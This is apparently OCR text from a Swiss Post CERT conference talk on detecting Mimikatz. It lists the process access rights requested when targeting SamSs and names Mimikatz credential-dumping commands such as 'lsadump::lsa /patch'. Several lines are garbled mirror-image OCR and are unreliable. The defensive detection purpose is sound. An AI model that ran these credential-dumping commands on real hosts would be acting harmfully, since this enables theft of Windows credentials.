PROCESS_VM_WRITE | —
[sadump::lsa finject kuhl_m_lsadump_lsa_getHandle() SamSs PROCESS_VM_OPERATION | 0x143a
L PROCESS_QUERY _INFORMATION | T
PROCESS_CREATE_THREAD
PROCESS_VM_READ |
PROCESS_VM_WRITE |
PROCESS VM _OPERATION |
PROCESS_QUERY_INFORMATION

bEOCEZ22 ONEBA IMEOBWYLIOW
bLBOCEZ22 AN ObEHBYLIOW |
bLBOCEZ22 AN MEILE |
LBEOCEZ22 AN HBEVD |
BEOCEZ22 ONEBA IMEOBWYLIOW
bLBOCEZ22 AN ObEHBYLIOW |
bLBOCEZ22 AN MEILE |
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lsadump::lsa /patch kuhl_m_lsadump_lsa_getHandle() SamSs 0x1438

lsadump::trust /patch kuhl_m_lsadump_lsa_getHandle() SamSs 0x1438
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* Please stand up...

# Sit down if you...
— didn’t learn anything new (resources, examples)
— detect internal C&C using Named Pipes over SMB
— detect in-memory / file-less Mimikatz on (all of) your hosts

— Bonus: all versions of Mimikatz?

+ Everyone sitting now | would like to have a chat ©
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* |s there time left for Q&A?
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Thank you for your attention!

Tom Ueltschi, Swiss Post CERT

—
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